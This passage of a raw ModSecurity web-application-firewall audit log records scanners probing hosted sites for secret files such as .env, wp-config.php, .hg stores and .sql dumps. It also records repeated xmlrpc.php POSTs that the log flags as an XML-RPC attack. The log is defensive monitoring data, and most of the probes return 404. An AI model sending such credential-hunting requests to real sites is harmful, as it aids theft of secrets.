"CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/config.dat"] [unique_id "aE88JAiLzf5Jb_3uGhHfBwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023204030475 662915 (- - -) Stopwatch2: 1750023204030475 662915; combined=2074, p1=358, p2=1627, p3=0, p4=0, p5=89, sr=113, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c6e9dd5c-Z-- --b576a512-A-- [16/Jun/2025:03:03:53.025929 +0530] aE88QOCiZPLeFRlDAYwclgAAAAU 128.199.112.101 44108 127.0.0.1 7081 --b576a512-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --b576a512-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --b576a512-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE88QOCiZPLeFRlDAYwclgAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023232083913 942094 (- - -) Stopwatch2: 1750023232083913 942094; combined=2680, p1=551, p2=1757, p3=40, p4=62, p5=167, sr=123, sw=103, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b576a512-Z-- --d136bd61-A-- [16/Jun/2025:03:04:24.889738 +0530] aE88YMe_3eHPNozq0G0OXQAAAAU 185.177.72.210 60568 127.0.0.1 7081 --d136bd61-B-- GET /app1-static/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d136bd61-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f647d36f9ba58fd0acd687a434ac6c7e1750023264; expires=Sun, 15 Jun 2025 22:34:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d136bd61-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/app1-static/.env"] [unique_id "aE88YMe_3eHPNozq0G0OXQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023264213305 676507 (- - -) Stopwatch2: 1750023264213305 676507; combined=1821, p1=374, p2=1365, p3=0, p4=0, p5=82, sr=84, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d136bd61-Z-- --f169e60e-A-- [16/Jun/2025:03:04:26.921128 +0530] aE88YlmUZGSJIU-3dV_PcAAAAAQ 185.177.72.210 60750 127.0.0.1 7081 --f169e60e-B-- GET /:8443/audio/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f169e60e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=61aa2ea8d3ce262bfcc4be9128a5c2f11750023266; expires=Sun, 15 Jun 2025 22:34:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f169e60e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/audio/.env"] [unique_id "aE88YlmUZGSJIU-3dV_PcAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023266252257 668934 (- - -) Stopwatch2: 1750023266252257 668934; combined=2091, p1=609, p2=1376, p3=0, p4=0, p5=106, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f169e60e-Z-- --481d7814-A-- [16/Jun/2025:03:04:32.949753 +0530] aE88aBWG4Ek2r5qVN266GAAAAAY 185.177.72.210 33160 127.0.0.1 7081 --481d7814-B-- GET /.hg/store/undo HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --481d7814-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e9a1a77621a9a4453a4ee973f4be42d81750023272; expires=Sun, 15 Jun 2025 22:34:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --481d7814-H-- Message: Warning. Matched phrase "/.hg/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.hg/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.hg/store/undo"] [unique_id "aE88aBWG4Ek2r5qVN266GAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023272260240 689576 (- - -) Stopwatch2: 1750023272260240 689576; combined=1914, p1=407, p2=1419, p3=0, p4=0, p5=87, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --481d7814-Z-- --a62d6468-A-- [16/Jun/2025:03:04:35.904294 +0530] aE88a4l8S04UZ4l67-ndwAAAAAk 185.177.72.210 33474 127.0.0.1 7081 --a62d6468-B-- GET /vendor/laravel/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a62d6468-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7308d6a6a2ae823bdff7a35fd3cf19751750023275; expires=Sun, 15 Jun 2025 22:34:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a62d6468-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/vendor/laravel/.env"] [unique_id "aE88a4l8S04UZ4l67-ndwAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023275253476 650886 (- - -) Stopwatch2: 1750023275253476 650886; combined=2067, p1=441, p2=1536, p3=0, p4=0, p5=89, sr=105, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a62d6468-Z-- --7016420d-A-- [16/Jun/2025:03:04:38.631432 +0530] aE88bce_3eHPNozq0G0OaQAAAAU 185.177.72.210 33762 127.0.0.1 7081 --7016420d-B-- GET /src/__tests__/__fixtures__/typeScriptProject/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7016420d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=168cae752b4fd9bc920c181023e560551750023278; expires=Sun, 15 Jun 2025 22:34:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7016420d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/src/__tests__/__fixtures__/typeScriptProject/.env"] [unique_id "aE88bce_3eHPNozq0G0OaQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023277969590 661910 (- - -) Stopwatch2: 1750023277969590 661910; combined=1669, p1=348, p2=1215, p3=0, p4=0, p5=106, sr=82, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7016420d-Z-- --5d304238-A-- [16/Jun/2025:03:04:40.618093 +0530] aE88b1R6EeXjkGzEkblkRAAAAAs 185.177.72.210 47106 127.0.0.1 7081 --5d304238-B-- GET /:9000/stats/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5d304238-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=535f789872a965f84273d706cee345ae1750023280; expires=Sun, 15 Jun 2025 22:34:40 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5d304238-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/stats/.env"] [unique_id "aE88b1R6EeXjkGzEkblkRAAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023279961476 656692 (- - -) Stopwatch2: 1750023279961476 656692; combined=1745, p1=451, p2=1194, p3=0, p4=0, p5=100, sr=102, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5d304238-Z-- --f4d7d760-A-- [16/Jun/2025:03:04:41.604297 +0530] aE88cMe_3eHPNozq0G0OawAAAAU 185.177.72.210 47180 127.0.0.1 7081 --f4d7d760-B-- GET /:8008/cgi-bin/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f4d7d760-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=df3c73a18c5b65cca2d34197dd75bf421750023281; expires=Sun, 15 Jun 2025 22:34:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f4d7d760-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/cgi-bin/.env"] [unique_id "aE88cMe_3eHPNozq0G0OawAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023280940147 664211 (- - -) Stopwatch2: 1750023280940147 664211; combined=2337, p1=477, p2=1766, p3=0, p4=0, p5=93, sr=106, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f4d7d760-Z-- --16f2b568-A-- [16/Jun/2025:03:04:45.854841 +0530] aE88dRWG4Ek2r5qVN266JQAAAAY 103.73.165.217 47594 127.0.0.1 7081 --16f2b568-B-- GET /wp-config.php HTTP/1.0 Host: www.rsda.in X-Real-IP: 103.73.165.217 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36 Accept: */* Accept-Encoding: gzip, deflate Cookie: wordpress_test_cookie=WP%20Cookie%20check --16f2b568-F-- HTTP/1.1 200 OK X-Powered-By: PHP/7.4.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --16f2b568-H-- Message: Warning. Matched phrase "wp-config.php" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rsda.in"] [uri "/wp-config.php"] [unique_id "aE88dRWG4Ek2r5qVN266JQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/rsda.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023285568577 286344 (- - -) Stopwatch2: 1750023285568577 286344; combined=2019, p1=292, p2=1561, p3=71, p4=41, p5=54, sr=78, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --16f2b568-Z-- --f972262a-A-- [16/Jun/2025:03:04:46.231143 +0530] aE88dZxF6cy0P8Yk4ptVzAAAAAM 185.177.72.210 47554 127.0.0.1 7081 --f972262a-B-- GET /.env.development.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f972262a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a695c46877d9164ba2e37f9a6d4cc9fb1750023286; expires=Sun, 15 Jun 2025 22:34:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f972262a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.development.local"] [unique_id "aE88dZxF6cy0P8Yk4ptVzAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023285536228 694977 (- - -) Stopwatch2: 1750023285536228 694977; combined=1790, p1=399, p2=1299, p3=0, p4=0, p5=91, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f972262a-Z-- --b90ee565-A-- [16/Jun/2025:03:04:47.211677 +0530] aE88dlR6EeXjkGzEkblkSgAAAAs 185.177.72.210 47694 127.0.0.1 7081 --b90ee565-B-- GET /.scalafmt.conf HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b90ee565-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9b9a871674b64d45f5724738e80e70ab1750023287; expires=Sun, 15 Jun 2025 22:34:47 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b90ee565-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".scalafmt.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".scalafmt.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.scalafmt.conf"] [unique_id "aE88dlR6EeXjkGzEkblkSgAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023286553397 658352 (- - -) Stopwatch2: 1750023286553397 658352; combined=1624, p1=324, p2=1205, p3=0, p4=0, p5=95, sr=95, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b90ee565-Z-- --24af6b56-A-- [16/Jun/2025:03:04:53.964880 +0530] aE88fce_3eHPNozq0G0OcwAAAAU 128.199.112.101 57558 127.0.0.1 7081 --24af6b56-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --24af6b56-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --24af6b56-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE88fce_3eHPNozq0G0OcwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023293033437 931511 (- - -) Stopwatch2: 1750023293033437 931511; combined=2412, p1=360, p2=1618, p3=68, p4=66, p5=185, sr=97, sw=115, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --24af6b56-Z-- --130e854e-A-- [16/Jun/2025:03:04:54.956332 +0530] aE88forLgrklqy57Kk2boQAAAAg 185.177.72.210 57678 127.0.0.1 7081 --130e854e-B-- GET /2000.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --130e854e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2c65fd2ff0cc5556f43f199579f75fcd1750023294; expires=Sun, 15 Jun 2025 22:34:54 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --130e854e-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/2000.sql"] [unique_id "aE88forLgrklqy57Kk2boQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023294258367 698099 (- - -) Stopwatch2: 1750023294258367 698099; combined=1960, p1=331, p2=1493, p3=0, p4=0, p5=136, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --130e854e-Z-- --9cb13511-A-- [16/Jun/2025:03:04:58.772610 +0530] aE88gkNwpNEMJppxC49RTgAAAAI 185.177.72.210 57974 127.0.0.1 7081 --9cb13511-B-- GET /.env.配布 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9cb13511-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: 